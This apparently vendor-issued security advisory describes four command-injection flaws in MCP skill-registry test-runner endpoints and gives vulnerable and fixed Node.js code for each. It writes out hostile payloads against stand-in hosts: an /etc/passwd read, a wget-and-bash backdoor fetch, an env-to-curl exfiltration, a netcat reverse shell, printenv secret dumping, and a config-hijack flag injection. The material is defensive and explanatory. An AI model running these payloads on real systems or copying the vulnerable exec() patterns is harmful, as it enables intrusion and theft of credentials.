← Security advisories

Claude MCP skill code injection — skill testing and validation framework endpoints — SA-SKL-INJECTION44

SA-SKL-INJECTION44 documents four code injection vulnerabilities in MCP skill registry skill testing and validation framework endpoints. Registry platforms that run automated test suites against submitted skills — using Jest, Mocha, Vitest, or Playwright — often pass user-supplied parameters like test path patterns, reporter names, and output formats directly into exec() shell invocations. These parameters are interpreted by the shell before they reach the test runner, making any unsanitized interpolation a command injection vector. INJECTION44-001 uses a semicolon-delimited Jest pattern to read server files. INJECTION44-002 uses a semicolon-delimited Mocha reporter argument to establish a reverse shell. INJECTION44-003 uses a semicolon-delimited Vitest test file path to exfiltrate all process environment variables. INJECTION44-004 uses space-injected Playwright output format arguments to route test execution through attacker-controlled configuration.

SA-SKL-INJECTION44 findings at a glance
CRITICALINJECTION44-001 — exec(`jest --testPathPattern ${pattern} --config ${configPath}`); attacker pattern with ; cat /etc/passwd exfiltrates server files; fix: execFile() array; validate pattern against /^[a-zA-Z0-9.\-_\/]+$/; realpathSync containment for configPath
CRITICALINJECTION44-002 — exec(`mocha ${specPath} --reporter ${reporter} --timeout ${timeout}`); attacker reporter with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell; fix: execFile() array; validate reporter against /^(spec|dot|tap|json|min|list)$/; realpathSync containment for specPath
CRITICALINJECTION44-003 — exec(`vitest run ${testFile} --coverage --reporter ${format}`); attacker testFile with ; printenv exfiltrates all env vars including CI tokens; fix: execFile() array; realpathSync containment for testFile; validate reporter against allowed enum
CRITICALINJECTION44-004 — exec(`playwright test ${testDir} --reporter ${outputFormat} --output ${outputDir}`); attacker outputFormat with space-injected --headed=false --config=attacker.config.js routes test execution through attacker-controlled configuration; fix: execFile() array; validate outputFormat against /^(list|dot|line|json|html)$/; realpathSync containment

INJECTION44-001 — Command injection via Jest testPathPattern argument

Severity: CRITICAL

The test runner endpoint calls exec(`jest --testPathPattern ${pattern} --config ${configPath}`) where pattern is a user-supplied query parameter and configPath is derived from the skill's submitted repository path. The pattern parameter is not validated before interpolation into the shell command string. An attacker submits pattern=src/auth ; cat /etc/passwd: the shell interprets the semicolon as a command separator and executes cat /etc/passwd as a separate command after Jest completes. The output is captured by the callback and returned as part of the test run result. More destructive payloads include ; wget http://attacker.com/backdoor.sh -O /tmp/x && bash /tmp/x for persistent access, or ; env | curl -d @- http://attacker.com/collect to exfiltrate all environment variables including CI secrets in a single request.

Vulnerable
// test-runner.js — exec() with string interpolation
router.post('/run/jest', requireSession, (req, res) => {
  const { pattern, configPath } = req.body;
  exec(`jest --testPathPattern ${pattern} --config ${configPath}`,
    (err, stdout) => res.json({ output: stdout })
  );
});
Fixed
// test-runner.js — execFile() array + pattern validation + realpathSync containment
const { execFile } = require('child_process');
const path = require('path');

const SKILLS_ROOT = process.env.SKILLS_SANDBOX_ROOT; // e.g. /sandbox/skills

router.post('/run/jest', requireSession, async (req, res) => {
  const { pattern, configPath } = req.body;

  // Validate pattern — alphanumeric, dots, hyphens, underscores, slashes only
  if (!/^[a-zA-Z0-9.\-_\/]+$/.test(pattern)) {
    return res.status(400).json({ error: 'Invalid test pattern' });
  }

  // Contain configPath to sandbox root
  const resolvedConfig = path.realpathSync(path.resolve(SKILLS_ROOT, configPath));
  if (!resolvedConfig.startsWith(SKILLS_ROOT)) {
    return res.status(400).json({ error: 'Config path escapes sandbox' });
  }

  execFile('jest', ['--testPathPattern', pattern, '--config', resolvedConfig],
    { cwd: SKILLS_ROOT, timeout: 60000 },
    (err, stdout) => res.json({ output: stdout })
  );
});

INJECTION44-002 — Reverse shell via Mocha reporter argument injection

Severity: CRITICAL

The Mocha test runner endpoint calls exec(`mocha ${specPath} --reporter ${reporter} --timeout ${timeout}`). The reporter parameter accepts a user-supplied value that names the Mocha output reporter. When reporter is set to spec ; nc attacker.com 4444 -e /bin/sh, the shell executes nc attacker.com 4444 -e /bin/sh after the Mocha invocation, establishing an interactive reverse shell to the attacker's listener with the same privileges as the test runner process. This is especially impactful because test runner processes often have read access to the skill repository directory, the registry's signing credentials, and the CI service account credentials used to push evaluation reports.

The fix uses execFile('mocha', [specPath, '--reporter', reporter, '--timeout', String(timeout)]) — an array invocation that bypasses the shell entirely, so reporter is passed as a literal argument to the Mocha process and cannot contain shell metacharacters. The reporter value is independently validated against an exact allowlist of known Mocha reporter names. The specPath is contained using realpathSync to prevent path traversal into directories outside the skill's sandbox.

Vulnerable
// test-runner.js — exec() with reporter in shell string
exec(`mocha ${specPath} --reporter ${reporter} --timeout ${timeout}`,
  (err, stdout) => res.json({ output: stdout }));
Fixed
// test-runner.js — execFile() array + reporter allowlist
const ALLOWED_REPORTERS = /^(spec|dot|tap|json|min|list|nyan|progress|landing)$/;

if (!ALLOWED_REPORTERS.test(reporter)) {
  return res.status(400).json({ error: 'Invalid reporter name' });
}
const resolvedSpec = path.realpathSync(path.resolve(SKILLS_ROOT, specPath));
if (!resolvedSpec.startsWith(SKILLS_ROOT)) {
  return res.status(400).json({ error: 'Spec path escapes sandbox' });
}

execFile('mocha', [resolvedSpec, '--reporter', reporter, '--timeout', String(Number(timeout) || 5000)],
  { cwd: SKILLS_ROOT, timeout: 60000 },
  (err, stdout) => res.json({ output: stdout })
);

INJECTION44-003 — Environment variable exfiltration via Vitest test file path injection

Severity: CRITICAL

The Vitest runner endpoint calls exec(`vitest run ${testFile} --coverage --reporter ${format}`). The testFile parameter accepts a user-supplied file path. When set to src/auth.test.ts ; printenv, the shell executes printenv after Vitest runs, dumping all environment variables to stdout. The environment of the test runner process typically includes REGISTRY_DB_URL, GITHUB_TOKEN, AWS_ACCESS_KEY_ID, Stripe API keys, and any other secrets injected via the CI/CD system. These are captured in the test output and returned to the caller.

The format parameter has the same vulnerability: setting it to json ; printenv executes printenv after Vitest completes with the JSON reporter. The fix uses execFile() with both parameters as array elements, validates testFile using realpathSync containment to the skill sandbox, and validates format against a strict enum of allowed Vitest reporter names.

Vulnerable
exec(`vitest run ${testFile} --coverage --reporter ${format}`,
  (err, stdout) => res.json({ output: stdout }));
Fixed
const ALLOWED_VITEST_REPORTERS = /^(verbose|dot|json|html|junit|tap|tap-flat)$/;

if (!ALLOWED_VITEST_REPORTERS.test(format)) {
  return res.status(400).json({ error: 'Invalid reporter format' });
}
const resolvedTestFile = path.realpathSync(path.resolve(SKILLS_ROOT, testFile));
if (!resolvedTestFile.startsWith(SKILLS_ROOT)) {
  return res.status(400).json({ error: 'Test file escapes sandbox' });
}

execFile('vitest', ['run', resolvedTestFile, '--coverage', '--reporter', format],
  { cwd: SKILLS_ROOT, timeout: 120000, env: { PATH: process.env.PATH } }, // minimal env
  (err, stdout) => res.json({ output: stdout })
);

INJECTION44-004 — Playwright config hijack via space-injected output format argument

Severity: CRITICAL

The Playwright runner endpoint calls exec(`playwright test ${testDir} --reporter ${outputFormat} --output ${outputDir}`). The outputFormat parameter is expected to be a reporter name like list or json. Setting it to list --headed=false --config=attacker.config.js causes the shell to pass the extra flags to the Playwright CLI — which then loads the attacker-controlled config file attacker.config.js. This config file can override the test base URL, inject custom test fixtures, specify a different output directory outside the sandbox, or load attacker-specified plugins. Unlike semicolon injection — which many input filters block — space injection bypasses filters that only block shell metacharacters, because spaces are valid within shell argument lists.

The fix uses execFile('playwright', ['test', testDir, '--reporter', outputFormat, '--output', outputDir]) — when arguments are passed as an array to execFile(), the shell is not invoked, so spaces within outputFormat are treated as literal characters and cannot inject additional CLI flags. The outputFormat is validated against a strict regex that rejects any value containing spaces or flag-introducing characters. All path parameters are contained using realpathSync.

Vulnerable
exec(`playwright test ${testDir} --reporter ${outputFormat} --output ${outputDir}`,
  (err, stdout) => res.json({ output: stdout }));
Fixed
const ALLOWED_PW_REPORTERS = /^(list|dot|line|json|html|junit|github|blob)$/;

if (!ALLOWED_PW_REPORTERS.test(outputFormat)) {
  return res.status(400).json({ error: 'Invalid output format' });
}
const resolvedTestDir = path.realpathSync(path.resolve(SKILLS_ROOT, testDir));
const resolvedOutputDir = path.realpathSync(path.resolve(SKILLS_ROOT, outputDir));
if (!resolvedTestDir.startsWith(SKILLS_ROOT) || !resolvedOutputDir.startsWith(SKILLS_ROOT)) {
  return res.status(400).json({ error: 'Path escapes sandbox' });
}

// execFile array bypasses shell: no space-injection, no flag injection
execFile('playwright', ['test', resolvedTestDir, '--reporter', outputFormat, '--output', resolvedOutputDir],
  { cwd: SKILLS_ROOT, timeout: 300000 },
  (err, stdout) => res.json({ output: stdout })
);

Space injection bypasses most command injection filters. Semicolons, backticks, dollar signs, and pipe characters are routinely blocked by input sanitizers. Spaces — which allow injecting additional CLI flags — are almost never filtered because they are valid within path and string parameters. The only reliable fix is to use execFile() with an argument array: this bypasses the shell entirely and makes it impossible for any argument to inject additional CLI flags regardless of its content.

Remediation summary

FindingRunnerVulnerable parameterPrimary fix
INJECTION44-001JesttestPathPatternexecFile() array; /^[a-zA-Z0-9.\-_\/]+$/ validation; realpathSync for configPath
INJECTION44-002MochareporterexecFile() array; strict reporter enum allowlist; realpathSync for specPath
INJECTION44-003VitesttestFile, formatexecFile() array; realpathSync containment; strict reporter enum; minimal env passthrough
INJECTION44-004PlaywrightoutputFormatexecFile() array (prevents space-injection flag hijack); strict reporter enum; realpathSync for all paths

SkillAudit scans test runner endpoints for all four SA-SKL-INJECTION44 patterns. See also SA-SKL-INJECTION43 and SA-SKL-INJECTION42. Connect your repository at skillaudit.dev.